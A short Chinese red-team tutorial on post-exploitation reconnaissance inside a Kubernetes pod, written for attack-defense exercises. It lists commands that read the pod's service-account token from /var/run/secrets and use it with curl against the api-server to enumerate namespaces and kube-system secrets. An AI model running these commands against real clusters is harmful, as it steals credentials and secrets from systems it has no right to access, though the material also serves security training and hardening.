K8S 渗透之 POD 信息收集
K8S 渗透之 POD 信息收集

K8S 渗透之 POD 信息收集

背景

当下越来越多的企业把 DMZ 区中的服务布置在容器中,一来提高了服务的部署进度(一个 yaml 文件搞定),二来也节约了大量的运维开销。作为红队人员很多时候在 hw 时,拿到的 webshell 的命令执行权限可能也处于 k8s 的 pod 容器中,这篇文章简短介绍 pod 信息搜集以判断当前环境是否在 k8s 中。

判断一个环境是否是物理机、docker、还是k8s的pod中

cat /etc/hosts         //显示pod的ip和名称
cat /proc/1/cgroup     //是否包含"docker"或者” kubepods 来判断是在docker还是在k8s中

1、像以下容器环境,明显是在 docker 中

2、以下容器环境,kubepods 下的容器,明显是在 kubernetes 中。

3、 通过查看 cat /etc/hosts ,可搜集到 pod 的 IP 和名称。

4、通过 env 变量查看可搜集到 master 节点上 api-server 的内部 IP 地址,下图为 kubernetes 服务的 IP 和 端口,该 IP 是内部提供给 pod 容器访问的服务 IP,非外部 master 节点 IP。

POD 中 token 收集到获取 master 外部节点 IP

1、在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。因此如果运维在搭建集群环境的时候,没有设置 –authorization-mode=RBAC ,那么我们就可以通过拿下集群中的一个pod的shell,从而获取到token进行api-server的认证

#获取API-SERVER 签发用于容器访问master上api-server的token
cat /var/run/secrets/kubernetes.io/serviceaccount/token 
cat /run/secrets/kubernetes.io/serviceaccount/token 

2、通过以下命令来设置 token 和 api-server 变量

 # export TOKEN=`cat /var/run/secrets/kubernetes.io/serviceaccount/token`
/ # export APISERVER="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT"

3、通过搜集的 pod token 获取到 api-server 的 master 节点 IP

curl --header "Authorization: Bearer $TOKEN" --insecure -s $APISERVER/api/v1/namespaces(需要 pod 的 token 具有高权限)
curl --header "Authorization: Bearer $TOKEN" --insecure -s $APISERVER/api/v1/namespaces/kube-system/secrets/(需要 pod 的 token具有高权限)
/ # curl --header "Authorization: Bearer $TOKEN" --insecure -s $APISERVER/api(可获取到 api-server 对应的 master 节点 IP)